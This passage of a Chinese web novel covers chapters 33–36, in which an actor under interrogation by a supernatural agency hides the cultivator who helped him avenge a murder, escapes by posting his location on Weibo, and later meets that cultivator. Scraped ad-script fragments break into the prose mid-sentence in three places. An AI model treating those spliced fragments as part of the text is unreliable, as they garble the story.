肖艳白边说边走上前,停在距离刘梓旭不过半米的距离,在他一脸疑惑的注视下朝他露出了一个灿烂的笑容:“你可不可以告诉美女姐姐我,李轩他是怎么死的?” “还有,他在死的时候,你又做了什么?” 33. 坚持不住 第三十三章: 刘梓旭的笑容突然僵住,眼神也开始变得飘忽不定:“小姐姐,我不知道你在说什么……” 啪。 一叠文件被重重砸在了桌上打断了刘梓旭的话。 肖艳白脸上的笑容依旧没有消失,但看向刘梓旭的眼神已经变得压迫感十足:“这个时候再装就没意思了,你跟李轩的关系我们已经调查清楚了。” 刘梓旭扫了一眼,发现那散落一桌子的文件不是别的,正式一张张他和李轩的合照,其中不乏他们勾肩搭背一起出入夜店的亲密照片。 肖艳白继续道:“看到了?那我们继续来谈谈刚刚我的问题,李轩是怎么死的,他死的时候,你在干什么?” 压迫感十足的问题打的刘梓旭节节败退,他在心中暗骂了一句该死,迅速思考试图交出一个合理的答案。 但是肖艳白没有给他这个机会,她立刻开起了攻势,又一叠照片被丢了出来,但这一次主人公不是他,而是李轩。 一张张照片里面是白骨、破碎的血肉和撒满屋子的血液。 这是刘梓旭第一次切实看到李轩的结局,血腥、惨烈,但他在短暂地惊愕过后,就被一股解脱的释然感所取缔! 回忆起陆时超度时所遇到的那数额庞大的冤魂,他忘了恐惧,反而觉得热血沸腾,因为这是……罪有应得! 但这种念头在心中浮现的那一刻,他立刻就意识到了不妙,拼了命地发挥自己毕生所学试图将这种情绪遮掩,但还是太迟了,早在他唇角不受控地勾起的那一刻,肖艳白心中的猜想就已经得到了证实。 “李轩的死,跟你有密不可分的关系!或者说,是你一手策划。” 她脸上的笑容彻底消失不见,取而代之的则是威严感十足的严肃,她缓步走上前,高跟鞋踩在木质地板上发出极具规律的哒哒声,如同擂鼓,一声又一声地敲击在刘梓旭的心头。 等肖艳白走到距离他仅有半步距离的时候,刘梓旭一颗心几乎已经提到了嗓子眼,他想起了对方先前的提问,后知后觉地想要否认:“这跟我没有关系,我就只是一个普通人……” 却被肖艳白强势打断:“你在撒谎!” 咣。 肖艳白双手撑在桌子上,弯腰近距离靠近刘梓旭,直到确保能够将他所有的细微表情全部尽收眼底后,冷冷道:“刘梓旭,榕城刘家当代长孙,在你之前,你家里的连续七代单传,但因为你不成器,你家父母重新要了一胎,也就是你的妹妹,现在作为家族接班人培养。” 刘梓旭惊讶地睁大眼:“你怎么知道……” 肖艳白没回,继续自顾自地将查到的东西全部说了出来:“你家靠着海运发家,后面在大兴工业期间响应号召引入外资创建机械厂,几代人的努力造就了你们家如今显赫的名望,但,我仔细研究过你们家的历史后发现,你们并不是没有跟玄门有关联系。” “你的祖爷爷,也就是为你家富裕打下基础的那位先祖曾经经营过的一条航线,我在我们跟我们太玄司的历史档案中查到,那里曾有一只为祸作乱的鲤鱼精。” “同时期所有经过那段水域的船只要么是被击沉、要么就是货物丢失大半损失惨重,唯独你们家每次都能平安通过,这样的日子一直持续到太玄司派修士前来降妖……然而,这样的例子还数不胜数,你的太太爷,太爷,都或多或少有过这么一两段神异的经历。” 刘梓旭也还是第一次听到这样的故事,从一个外人嘴里,想到这里,他回过神来,立刻道:“小姐姐,你谈这个干什么?我是没看出这跟李轩的遇害有什么联系?” “当然有关系。” 肖艳白总结道:“这足以证明你跟玄门之间有着某种联系,而这,就是你不是普通人的最好证明。” “刘梓旭,我们已经仔细检查过,你身上并没有任何使用过玄术的痕迹,你也不是修士,但李轩遇害的时候你不仅在场,面对他的死不仅不感到害怕,甚至觉得死有余辜赶到兴奋。” “那就只有一个解释,是你找了某个玄门的人做了这一切。” 全对。 刘梓旭瞳孔一缩,一切秘密被剖析的那一刻,再次面对肖艳白,刘梓旭只觉得自己在她眼皮底下无所遁形。 甚至隐隐地生出了一种将一切都坦白的想法。 但就在他要张口的时候,他忽然回忆起了临别时,系统猫对他的交代,瞬间他的意志变得坚定。 陆时帮了自己这么大一个忙,绝对不能将他们牵扯进来。 于是他硬着头皮盯着肖艳白目光的压力,摇头说道:“我并不知道你在说什么。” 肖艳白亲眼目睹了他的表情变化,声音愈发冰冷地发出质问:“刘梓旭,李轩或许是无恶不作,但这并不是你动用私刑去惩治他的理由!你这就是在杀人——” “刘梓旭,三年前,你还记得你在得到了网络最受欢迎男演员评选,上台领奖的时候你对观众说了什么吗?” 熟悉的字眼,勾起了刘梓旭的回忆,头顶明亮的大灯照耀的睁不开眼,这令刘梓旭有一瞬的恍神,他仿佛回到了那个夜晚,成了那个面对无数观众和记者媒体倍感青涩的毛头小子…… “你说你虽然演技不是很好,但会遵纪守法守序下去,现在你不觉得现在手染鲜血的自己非常的恶心吗?” 乘胜追击的肖艳白字字珠玑,以至于令刘梓旭刚刚坚定的信念开始摇摇欲坠—— 她说得对,不论我怎么解释都无法改变我手染鲜血的事实。 现在的我就是我最讨厌的人…… 脑海中那个被压下去的念头再度浮现出来,承认吧,在不暴露陆时存在的情况下,站出来,将这一切全部揽在自己的身上,接受应有的制裁…… 公寓内,实时监控事态发展、并将其投屏到电视上当做观影节目打发时间的系统猫见状放下了爆米花桶,改过去扒拉一旁的青年大腿:“陆时,他快要坚持不住了。” 闻言,陆时的目光终于从怀中当做抱枕乖巧呆着的龙蛋移开,然而只是扫了一眼电视上的画面,又收了回来,并对一脸担忧的系统猫解释道:“嗯,她在施加精神暗示。” “陆时,你还不出手吗?要是刘梓旭真的说了,那可就麻烦了。” 陆时摇头拒绝了这个提议,并一脸淡然地说道:“不着急,再看看也不迟。” 系统猫逐渐的回过味儿来,试探地问道:“难不成说,你是相信刘梓旭能够顶住?” “不可能吧,他们一看就是老手了,刘梓旭一个软扒菜,真有这本事,怎么会两次找你救命?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>它对刘梓旭的印象还停留在对方哭哭啼啼狼狈不堪那会儿。 陆时却并不这么觉得,他意味深长地说道:“没有任何人是毫无长进的,不要小觑一个人的潜力。” 末了,还轻轻拍了拍怀中躺着的龙蛋,像是对还没破壳的崽崽做胎教。 “是么?” 系统猫将信将疑地看着屏幕,心里想着,如果刘梓旭真的扛不住松口,他会在第一时间,用□□的方法抹除有关自己和陆时的记忆。 虽然会损耗一部分能源,但能维护住这个家难得的安宁,它觉得非常划算。 于是,在它的注视下,刘梓旭松开了紧闭的牙关,缓缓说道:“是,我确实知道到李轩死亡的内情……” 肖艳白面露喜色,然而就在她准备松一口气的时候,就听刘梓旭突然话锋一转:“但这一切都是他咎由自取!” 不止是肖艳白,就连系统猫都对这个回答感到惊讶:“什么?” 刘梓旭睁开了眼,眼中全是愤恨:“你不就是想知道我为什么会接近李轩吗?好,我告诉你——” “他杀了一家三口,男主人的怨魂附身在一个脖链里面想要为家人复仇,然而,他身边却有人在替他保驾护航!” “哦,用你们的话来说,那是你们玄门的人!” 他看向肖艳白的眼神突然变得讽刺:“他们不仅镇压了那个怨魂,还利用法咒,将被索命的人转移到无辜的人身上……” 肖艳白忽然意识到什么,眼中闪过一丝异色。 但不等她开口,刘梓旭已经继续说了下去:“是啊,我是想杀了他,因为只有杀了他我才能活,所以我拼命地隐藏身份去到他身边就是为了找到他犯案的证据,然后送他上法庭接受法律惩治,但我失败了。” 就在刚刚,在即将做出选择的那一刻,刘梓旭迟钝的脑子难得机灵了一阵,意识到更深层面的东西——我只是普通人,无法抗下所有的罪。 只要点头,他们就能深挖跟自己有关联的人,那么陆时就有被牵扯可能的风险。 这是刘梓旭无法接受的事,所以他只能选择去做那个最讨厌的自己。 即便很不愿意承认,但在他跨出那艰难一步之后,一切就像是茅塞顿开,他甚至自己无师自通地悟出了真假参半这种令人一时间难以判断真假的糊弄策略。 刘梓旭抬起头,直视着肖艳白,倔强问道:“李轩最后死于恶鬼反扑,冤有头债有主,他遭报应,我也获得了自由,我凭什么不能开心?” 肖艳白沉默了。 倒并不是相信了这番话,而是惊讶于刘梓旭竟然能冲破自己的心理暗示,换言之,自己如果只是单纯地询问,是绝无可能活得真相的可能。 但若是使用其他的手段…… 然而这个念头刚刚在心底浮现,就被她划了出去。 无它,刘梓旭虽然非常有嫌疑,但他的确只是一个普通人,使用玄门的方法对方他违反禁令。 事情就此陷入了僵局,只能另寻突破口,而肖艳白最先想到的是她带回来的另一个少女。 肖艳白没有过多纠缠,直接出门,跟守护在门外的木秦换班,去了另外一个房间。 但她并不知道,刘梓旭在看到木秦的脸时突然心生激动,想到了脱身的方法。 34. 逃离之策 第三十三章: 刘梓旭看向眼前正在发呆的少年,询问道:“这里是什么地方?” 木秦回过神,回答道:“这里是太玄司驻榕城办事处,刚刚问你话的那个认识我们巡查二队的副队长。” “太玄司?就是类似于都市小说里面的龙组?” 木秦疑惑地眨巴眨眼:“龙组?那是什么?” 听到这话,刘梓旭不免有些惊讶,眼前少年的单纯远超他的想象。 于是刘梓旭就为他解释了龙组的来去:“就是国家设立地专门统管这类超自然事情的部门,类似于玄门的警局?” “啊?” 看着越来越猛逼的木秦,刘梓旭反问道:“难道不是吗?” “不是,太玄司是由三大玄门势力在百年前商讨成立的,辖管的人是三门的掌门,与其说是下属部门,更准确的形容,我们是合作关系,他们分管人间事,我们则值守玄道,保护普通人不被恶意操控玄术的人伤害。” 木秦说完,眨巴眨眼看向刘梓旭,像是再问还有什么不懂的吗? 这副单纯的模样令另有图谋的刘梓旭心生不忍,如果换做往常,他说什么也不会欺骗对方,但现在经历了李轩的死亡和肖艳白的审讯,这股情绪很快被他从脑海中清空出来。 脸上带着嘲讽的笑,他问木秦:“那那些惨死在李轩手中受害者的神魂,被玄门的人镇压的时候,你们又在哪里呢?你们口口声声说着保护普通人不受侵害,这就是你们的保护?” 青涩的少年羞愧地低下头,满脸歉疚地说道:“抱歉,这是我们的疏忽,没有及时发现那个邪道……” 他试图解释道:“他并没有像以往那些邪道一样躲在深山里,而是隐藏在城市里,将自己包装成一个咨询公司……所以我们才一直没有监测到他作下的恶性。” 木秦还想说,他们在搜查了榕山道人的居所之后,经有已找出的证据,合理怀疑他与密教有着某种联系。 但是却被刘梓旭打断:“够了,你该道歉的人不是我,而是那些因为你们疏忽而惨死的无辜群众——” 木秦再度羞愧地低头:“我已经向队长提议为他们举行增加功德的法会……” “人死了,有用吗?” 显然是没用。 木秦抿紧了唇瓣,不再吭声。 刘梓旭也沉默不语,气氛一度陷入了僵局,许久后,他再度开口,声音嘶哑,充满了浓郁的讽刺:“你们现在认定李轩的死是我害的了吧?” 木秦道:“也不是……” 刘梓旭打断:“将我带到你们的地盘,审讯我,你们这分明已经是认定我了,还要否认什么呢?所以等待我的是什么?审判?然后被处以极刑?” 木秦急切地回道:“不会的,太玄司没有对普通人执刑的权利。”像是害怕刘梓旭再胡思乱想,他一口气说出了他们如今的打算:“我们只是想让你说出帮你动手的那个人身份,队长说了,他的实力最起码是元婴以上,且他还是个没有登记的散修,属于极大的不稳定因素。” “所以我们必须查出他在李轩的死里都做了什么,如果真的是他一手操控,那就是违反了禁令,需要接受太玄司的惩治……” 说到这里,木秦尽职尽责地劝道:“那个人究竟是谁你还是趁早说出来吧,不然等队长向刑法堂汇报了,请动执法长老出手,那到时候一定会见血。” “见血?” 木秦点头:“嗯嗯,执法堂长老跟我们普通的修者不一样,他们修炼的功法很特殊。” 他试图打一个比喻:“与其说他们是人,不如说是人形兵器,为的就是执刑而生……被他们盯上的人如果不乖乖地缴械投降跟他们回刑法堂受审的话,他们就会出手,将人制服带回去。” “以往不乏有犯事的修者抵死不从,被他们废去了所有修为带回去的先例。” 刘梓旭像是被他这一番描述吓到,立刻道:“这件事情跟他没有任何关系——他就只是帮我超度了那些复仇完毕的怨魂!” 木秦为难道:“你跟我说是没用的,他已经被太玄司列为了重点追查对象,想要解除,就必须让我们审查直到彻底排除他的嫌疑……” 木秦道:“不过我向你保证,只要他真的如同你所说的那样只是来超度,那么太玄司一定不会对他做任何无礼的事情,还会把他奉为上宾,因为现在末法时代,元婴境还会超度的修着简直是凤毛麟角。” 木秦一脸期待地看着刘梓旭:“如果他愿意加入我们太玄司,或者是帮我们做一些任务,我们还会给他提供一切他所需要的修炼资源,福利待遇真的很好。” 刘梓旭一脸将信将疑:“真的是这样吗?” “我可以以道心发誓,我说的句句属实。”甚至怕刘梓旭不知道这誓言的含金量,主动解释道:“道心是我们修士的根本,一旦道心受到重创,那我们毕生的修为将会毁于一旦!” 刘梓旭经过一阵抉择之后,最后像是被他说动,松口道:“我可以告诉你他是谁……” 木秦的眼睛彻底亮了起来:“你真的愿意说啊!那那位前辈师承何人?修行的是什么道统?” 不等刘梓旭开口,他已经自言自语地说了起来:“元婴大能,还会超度之法,莫不也是像我一样是灵修?” 他看着刘梓旭,满脸期待:“所以那维前辈到底是谁?难不成真的像肖队长说的那样,是跟你们家族有着密切联系那位大能?” 刘梓旭摇头:“不是,在今天之前,我都不知道我家里还有这层历史,那位大师,是我在网上认识的。” “网上……认识大师?” 在木秦不解的目光中,刘梓旭开始缓缓讲述道:“那是一个仙侠手游,而那位大师自创了好多功法,我起初以为他是开挂,就想要锤他。结果后面才发现都是他自己领悟出来的,我觉得好奇,就跟他深交,后面才知道他的职业是修士。” “起初我是不相信的,但是后面我被李轩跟那个邪修设计被恶鬼盯上,是他远程指导,我才得以脱险……也是他告诉我解除诅咒的方法,甚至提出过要帮我动手,但都被我拒绝了。” “我不想麻烦他,选择自己复仇,但后来才发现被李轩所迫害的恶鬼数量简直超乎了我的想象,这才被迫找的他……” 说到这里,回想起陆时掐诀轻描淡写地就将数十个穷凶极恶的恶鬼超度时,刘梓旭真心意识地感叹了一句:“不过我也没有想到这位大师竟然这么厉害,这就是我跟他认识的全过程了。” 说完的时候,木秦已经彻底按耐不住激动:“我就说肖队长将你人际关系翻了个底朝天,怎么没有发现一个人有异常!原来你们实在网络上认识的!” 听着他激动的语气,刘梓旭默默在心底松了一口气,他已看到了希望的曙光。 果然,木秦已经主动地询问道:“所以那个前辈的电话号码是多少?” 他自然而然地接话道:“我没有留他电话,至于我们的联系,则一直用的是一个非常隐秘的软件,因为他说他要隐藏身份,所以想要联系他,只能用我的手机。” 压根不用再可以提醒,单纯的少年立刻说道:“你的手机是吧?我这就去给你拿!” 不等刘梓旭在说些什么,他已经快步出门,不过十来秒钟的工夫,就已经将从刘梓旭身上摸走的手机交还给了他。 “给你。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘梓旭立刻点头,拿过手机就开始输入:“我这就联系那位前辈,约他见面。”啪嗒啪嗒打了一大通后,突然抬头问道:“对了,我们现在的地址是哪儿?” 木秦毫不设防地说道:“榕城天宇街道……” 叮咚。 发布的铃声传来,刘梓旭关上了手机,朝着木秦回道:“好了,预计很快就会有人过来了。” “嗯嗯!好的!”木秦不迭点头,看着还有一些乖巧,他全然没有发现刘梓旭的脸上有一闪而过的歉疚…… 与此同时,密切关注这一切的系统猫开始扒拉起了陆时摊在沙发上的外套。 陆时看着它从里面翻出了手机,用肉垫解锁后点进了聊天软件,歪头一双猫儿眼看了半天,疑惑地嘀咕道:“怎么没收着啊?” “嗯?” 系统猫解释道:“就是那个刘梓旭约你的短信啊?他刚刚不是说发了吗?” “你说那个啊……”陆时哭笑不得:“他是约了人不假,但不是约的我,你没有注意到他刚刚手机的编辑页面,不是聊天软件么?” “啊?是吗?” 系统猫一愣,将信将疑地倒带回去放大刘梓旭的手,看到视频里面呈现的画面后,惊讶地说道:“等等,这不是你们说的微博吗?他怎么发的这个?” “你看到他发的内容就明白了。” 陆时接过了手机,在搜索栏里输入了刘梓旭的名字,按下回车键之后,刘梓旭发的内容立刻映入眼帘—— 刘梓旭V:救命啊,有谁知道太玄司是什么官方组织的代称啊?我好像被他们给监禁了,刚刚还有个小姐姐来审问我,说我犯罪了,我现在好慌,求救…… 这条微博附带的地址不识别的,跟木秦说的地址,一个字不差! 如果发消息的是一般人,网友就算刷到这则微博也只会以为是发帖的人脑子有病,别说评论,就连多看两眼都欠奉。 但刘梓旭的身份却是明星,且是一个小有名气的明星,并且自带不小的话题度。 所以这条微博一经发布,不过一分钟的时间,底下瞬间就积攒了上百条的回复。 -啥玩意儿?太玄司? -刘梓旭看小说看傻了?犯中二病了? -应该不至于吧,这可是微博,他敢乱发不要命了? -总不可能真的出了什么事了吧? -真出了什么事他不会报警?有发微博的功夫,报案申请都填完了吧? -万一真的是呢? -已提交网警…… 并且以肉眼可见的速度在飞速增加。 系统猫缓过神来,这才明白刘梓旭都做了什么:“好家伙,原来他刚刚说那么多,是为了骗地址的啊!坏了坏了,我竟然看走眼了!” 陆时好奇问:“那你以为他是要把我供出去?” “嗨呀,我这不是以为他真的听信了他们的忽悠么……” 陆时的目光落在电视上的少年身上,看着他抱臂趴在桌上等待的表情,轻笑了一声:“并不是,他说的是真的。” 至少在他眼里是这样。 不等系统猫发问,原本安静的缩在房间里等候的两人突然听到一声重重地开门声,抬头看去,就见两个人阴沉着脸走了进来。 为首的正是刚刚见到的肖艳白,而他身后跟着的另外一个人则并不是太玄司的人。 那是一个满头白发的老人,此刻脸上的气愤怎么也止不住,甚至跟肖艳白吹胡子瞪眼地讥讽道:“太玄司,可真是神气啊!” 木秦一愣,试探开口:“肖队,这是……” 然而一旁的刘梓旭却低低地喊了一声:“爷爷。” 35. 好戏落空 “爷爷?” 木秦持续陷入懵逼,但很快,他心底的疑惑就得到了解答。 只见刘老径直走上前,直接抓住了刘梓旭的手拉着他就往大门外走去。 木秦下意识地伸手阻拦:“等等,他目前还处于我们太玄司的观察……” 然而刘老却连一个眼神都没给他,而是直直地看了肖艳白一眼,吹胡子瞪眼的反问道:“怎么,肖队长,这是要拦着我这个老头子么?” 肖艳白给了木秦一个放人的眼神,少年愣了一下,但最终还是听从指令地收回了迈出的步伐。 “哼!” 刘老仍是不满意,但没有发作,在一声闷哼之后就这样拉着刘梓旭大摇大摆的走出了变相软禁他的房间。 身后传来了肖艳白的木秦的交谈。 “肖姐,这到底是怎么回事啊,怎么那个老爷子就把刘梓旭给带走了啊?” 肖艳白没好气地反问他:“这多亏了你啊!木秦,你是不是缺心眼!你明知道他是公众人物,你还把手机给他?现在太玄司的情况被他曝光了出来,他家里人直接找上了政府向上头施压,让我们不得不放人!” 木秦呆呆地说道:“是这样吗……” 听着那带着一丝伤心的语气,刘梓旭心中有一瞬对欺骗对方的愧疚,但他强迫自己忘却了这种情绪,快步跟上了刘老的步伐。 在跨出大门的那一刻,他惊讶的发现,眼前的环境发生了改变。 从中式装潢的大殿,变成了再普通不过的办公楼,里面摆满了办公椅,上面还有形形色色的人员在办公,看到他们的出门,略微惊讶过后又继续去忙自己的事。 然而在他跟着刘老跨出一扇门后,映入眼帘的是繁华的街道,再回看出来时的方向,刘梓旭惊讶的发现,那只是一栋很普通不过的民宅,甚至可以说是破烂,像是上世纪的产物。 亲眼目睹了这一路的异常,刘梓旭才后知后觉地想到:“难道刚刚那是……幻觉?” 刚说完,后脑勺就被重重地呼了一巴掌扇的一个踉跄。 刘老扫了他一眼,不爽地闷哼:“还能发现这一点,说明你不算太笨!” “痛……” 被打的地方火辣辣作痛,然而刘梓旭却没有任何不满,相反,这疼痛让他感觉到了一切不是自己的幻觉,而是货真价实的现实。 他从太玄司里走出来了,那是不是意味着,他没让陆时失望? 这个念头刚刚浮现的那一刻,他又捱了老爷子不轻不重的一脚,对方朝着停在街边的汽车努了努嘴,催促道:“还愣在这里干什么?想见你号召来英雄救丑的网友?” “哦哦……”因为过于心虚,以至于老爷子对他的贬低他发现了,也不敢吱声。 两人一前一后上了车,驾车的是他们家族的专职司机,完全不需要吩咐,直接默契地平稳开了出去。 然而宽大的车后座此刻却被压抑的气氛突显的堪称逼仄,即便是刘梓旭和刘老爷子各坐在一边,中间隔着中控台,也是坐立难安。 车开出去五分钟不到,他就受不住了,抬头看向老爷子,张口蠢蠢欲动地想将真相全部吐露出来:“爷爷,我……” 刚说了一个字,就狠狠挨了一个眼刀:“可别,你的能耐可大到连太玄司冒着被责问的风险也要软禁审问,老头子我可没资格听。” 讥讽的话语却并没有激怒刘梓旭,相反是令他冷静了下来。 作为被老爷子一手带大的人,他对对方的脾性再了解不过。老头子如果真对自己不满,直接一巴掌就呼了过来,摁着他就往死里打,哪里会像是现在这样阴阳怪气? 他原本迟钝的小脑瓜经过此行之后像是彻底开了窍,迅速做出了应对之法。闷不做声地低下头装出一副被伤透了心的模样。 而在他看不到的地方,刘老脸上多了一丝赞同的笑意。 他轻敲了两下桌板,收到了授意的司机立刻调转车头,而这一次驶向的地方才是真正的目的地。 而随着车辆掉头,太玄司内,肖艳白不甘地放下了窃听的法器,对一旁期待地看着她的行动组队员一众摇头:“失败了,他们已经达成了共识,没有提及任何有关李轩的事情。” 就算提及,他们也无法听到。 对方的目的地不是其他地方,而是刘家的大宅。 而作为巨富之家,又跟玄门有着密切的关系,家宅中有关反窃听、觊觎的阵法是标配。 他们假意装作中招,放任刘梓旭离开,以期许他在自以为糊弄过太玄司的人后得意忘形地吐露一些线索。 这样他们就有了正当的插手机会,届时就算舆论再如何施压都无济于事,只是如今这最后的机会他们也失去了。 咣。 一个脾气爆的队员一拳锤在桌子上,巨大的力道令上面摆放的法器都一阵地动山摇:“那岂不是白瞎了肖队长你和榛子演的这么一出戏?” 木秦也无奈地耸了耸肩,此刻,他跟刘梓旭心想的一颗真心被无情辜负而伤心欲绝的可怜少年形象大相径庭。 他一脸无所的笑着安慰众人:“没关系了,计划失败了就失败了吧,反正我们也已经得出了想要知道的东西不是么?” 肖艳白接话道:“那个人,是刘梓旭找来的,跟他有着密不可分的关系。” 一旁,倾听了全程的王奇一锤定音:“跟上头申请,全力彻查跟刘梓旭的人际关系网!” “能令刘梓旭拼了命的袒护,他的身上一定藏着巨大的秘密!我们太玄司的人不能放任这么一个危险的定时炸弹潜藏在人群中!所以关系网中的每一个人也不能错过!务必要将那个元婴修士查出来!” 众人齐声应道,干劲十足:“是,队长!” 然而他们并不知晓,他们想要抓捕的对象,却已经将这一切一字不落地尽收眼中。 陆时倒是没有动怒,相反,刘梓旭被太玄司带也算是他的刻意为之。 反倒是系统猫对此无比不爽:“刘梓旭说的没错,他们在李轩仗着有榕山道人相助为非作歹的时候他们跟死了一样。如今你出面算是惩恶除善,让恶人亲尝苦果,他们就把你是做眼中钉肉中刺!” “这幅冠冕堂皇、大义凛然的模样,看的真叫统作呕。” 它作势干呕一声以表达自己的不满,此刻,不管是作为跟陆时同阵营的伙伴,还是一个旁观者,他都对太玄司这个号称管理所有修士的宗门印象跌入谷底。 反过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来竟还让陆时这个被针对的对象反过来劝慰:“很正常,因为我们的身份发生了转变。” “如今的我并不是需要保护的普通人,相反,对普通人而言,如今的我反倒是真的成为了一个随时会爆炸的定时炸弹。” 系统猫气鼓鼓地说道:“你才不是呢,你的脾气好着呢。” 嗡嗡。 他怀中抱着用灵力温养亟待孵化的龙蛋也发出响应,似是安慰。 陆时欣慰地拍了拍蛋壳,道:“乖孩子,我不会为此感到伤心。” 如果只是这样就承受不住了,那他今天就不可能安稳地活着了。 眼见着系统猫还想要继续开口吐槽,陆时开口终结了这个拖沓太久的分叉:“既然委托已经做完了,委托人也已经出来了,那我们是不是该去收取应得的报酬了?” 至于所谓太玄司的彻查,陆时完全不放在眼里。 他虽然没有给刘梓旭下禁制,但对于他们接触的细枝末节都有贴切的抹除,再者还有系统提供科技一侧的实时监控,想要查出他和刘梓旭的关系,简直难如登天。 但即便有着十足的底气,但陆时眼中仍是不可避免的浮现出了一抹名为不耐的情绪,浅淡到转瞬即逝。 系统猫一拍猫爪,恍然大悟:“你不说我都差点给忘了,辛苦忙了这么久!可不能这样算了!” 压根不用陆时说些什么,它已经自顾自地运算起了程序,开始搜寻刘梓旭的身影。 最终,呈现在电视屏幕上的,则是一个类似于家庙的地方,摆放满瓜果的案头前面摆满了各个牌位,经幡、镇铃、香烛等一系列祭祀用品应有尽有。 而刘梓旭则跪在蒲团之上,他的身边空空荡荡也没有人,本人沉默地低着头一言不发。 系统猫不禁疑惑:“他这是在请罪吗?” 陆时倒是猜到了大致原因:“他在等我们。”起身伸手招呼系统猫:“走吧。” 噗通一声,系统猫下意识地蹦进了他的怀中,却惊讶地埋头刨了刨,看到玄黑的纹路后,惊讶问道:“你咋把崽也给带上了?” “在家里闷得慌,带它出去走走,就当是透透气。” 龙蛋颤了颤,像是在夸赞做出这个英明决定的陆时。 “也对,天天闷在家里也不舒服。” 系统猫也只是随口一提,得到了解惑后,不仅替蛋裹好了被单,还将自己的屁股往陆时臂弯的方向挤了挤,让出了空间以增大龙蛋的活动空间,并嘀咕着教导道:“你啊,要快点破壳哦,不然像现在这样走到哪儿抱到哪儿多不方便!” “等你破壳了,我和陆时就带你重新逛一圈蓝星,这个位面有好多好玩儿的东西,你一定会玩得很开心的。” -破壳、破壳! 龙蛋也蹭了蹭以示亲昵地回应,系统猫顿时乐得得意忘形:“真是乖孩子,跟你那个坏蛋爹一点也不像。你统子叔我的退休金可全攒着呢,到时候给你去主神那儿换好多好多有趣的礼物给你。” 然而它随口提及的一句牵扯,却令陆时的臂膀蓦地微僵,很轻微,以至于在他怀中的一蛋一猫都没有发现陆时在心底回了一声否定。 并不对,崽和他,在某些方面,还是很像的…… 36. 划上句号 刘家家庙。 跪在蒲团上埋着头的刘梓旭伸手悄悄地揉了揉酸痛的膝盖,嘴里不禁嘀咕:“真的会来么……” 自回家之后,他本来是想将一切坦白,然而刘老直接将他带进了家庙,留下一句等着后,就屏退了家里的佣人空出了整栋楼。 刘梓旭也是过了好一会儿才反应过来老爷子这是方便他与陆时会面。 虽然他想不到为什么刘老会如何笃定陆时会来见他,但他也没有离开,一方面是因为真的听从他的话等着陆时的到来,而另一个原因,则是为了平复心中激荡的情绪。 在太玄司内,肖艳白的话在脑海中反复回荡:“刽子手、凶手……” “后悔了?” 身后突然传来了淡然的反问,熟悉的声音立时令刘梓旭惊喜地扭头望去,就见家庙大堂中央两侧原本空着的太师椅上不知何时多了个人。 陆时单手撑在扶手上,灰翳的眸子感受到他的目光后缓缓投来,与上次见面是的冷淡不同,如今还带着温和的余烬。 刘梓旭一愣,他还并没有自恋到认为是陆时在得知他顶住了太玄死的审问压力对他改了观,好奇地循着他转来方向望去得到了答案。 只见陆时的怀中抱着一个黑色的抱枕,但仔细看,才发现那分明是一个蛋。 怎么会有这么大的蛋? 这个疑问刚刚在心底升起,就被另外一道略带不爽的声音打断:“你傻了?” 刘梓旭这才发现,系统猫也来了,此刻正在茶盘里蜷的四仰朝天。 对于它能说话的神异早在之前刘梓旭就已经惊讶完毕,现在刘梓旭满心想的就是回答陆时的询问:“没有,我并不后悔杀了李轩!” 声音铿锵有力。 陆时并未给予明确的答复,说他是认可或否定,而是快而直接地切入了正题:“有关于我们谈得筹码,你应该没有忘吧?” 刘梓旭有些失落,但仍是点头:“我不会赖账,只是……”他脸上陷入了为难之色:“这笔钱该怎么给你?” 即便是粗线条如他,也知道如今自己正处于监控状态,大额的资金调动不可能不引起太玄司的关注,直接操作岂不是直接暴露了陆时? 回答这个问题的是系统猫:“直接转就好了,我不会让人发现问题的。” 它猫脸上满脸的笃定了却了困扰着刘梓旭的一个难题。 “好,我知道了,我会尽快去做的。” 然而这颗悬而未决的心刚刚放下,就见陆时起身准备离开时又再度提了起来。 “事情解决完了,回去了。” 刘梓旭终究是没有忍住出声道:“陆时,等等……” 陆时望向他,虽然没有说什么,但平静的毫无疑问的灰眸说明他对他心底的疑惑早已了然,这给了刘梓旭开口的勇气:“为什么你最后会选择帮我?” 不管是对方最后的告诫,还是两年前在那个郊外的仓库外,无视命悬一线的他的祈求,都足以证明陆时并不想招惹额外的麻烦,但这与他最开始的选择堪称是大相径庭。 即便这样说会显得恩将仇报,但刘梓旭也不认为陆时会是一个乐于助人的好心人,甚至相反,他认为陆时甚至不算是一个好人—— 他之前并不是对陆时毫无了解,他跟谢安然一样都是和陆时同队的队员,以至于一开始被谢安然影响认为陆时就是这么个心机婊,蓄谋出风头。 即便是后来他借助了他家里的势力也完成了出道,甚至资源一度的碾压陆时,也对他抱有敌意,但有关于对方会玄术的消息却是闻所未闻。 以至于在那次他离开之后,刘梓旭一直都在探查对方这一身这高深莫测的玄术道法来源,结果自然是没有查到,但相反,令他查到了许多细思极恐的事迹。 例如说是想要潜规则陆时的制片人——身败名裂、最后落得个失踪生死不明结局的王康文,以及嘴贱连番跳脸挑衅陆时的谢安然和他背后的欢度娱乐…… 刘梓旭曾一度恐慌到想过举报陆时,只是对方那段时间恰巧不在国内加上鬼叔的阻拦才堪堪作罢,只能说也幸好没有举报,否则在他强行搜索李轩家中寻找线索被他发现的时候,他就已经成为对方手里累累血债中的一员。 如今的他对陆时只有崇拜与敬意,却因此,这个疑问成了一直困扰着他的心结,令他抓耳挠腮地想要答案。 陆时也没有吊着他,在他一脸期许地目光中,缓缓道:“也没什么,就只是用你试探一下太玄司的态度。” “什么?就只是……这样?” 刘梓旭瞪大了眼,呆滞的模样,显然对于这个答案他难以接受。 这也不怪他,毕竟他曾幻想过无数种可能,例如他可能是什么隐蔽的天纵奇才,陆时起了收徒的心特此布置下了考验什么的;又在陆时问他要钱的时候想,对方看中了他刘家的显赫家世于是想要施恩加以利用将自己收为小弟;再不济实在是看他可怜于是就帮他一把……诸如此类种种,唯独没有想到会是这么个可能。 甚至对方还当着他的面一点修饰不加直接说了出来。 巨大的心理落差令刘梓旭不可谓不失落和伤心,但濒临破碎的他却仍旧并没有换得陆时动容,这次不等他发问,直接解答了他心底的疑惑:“因为我们之后大概率不会再有交集。” 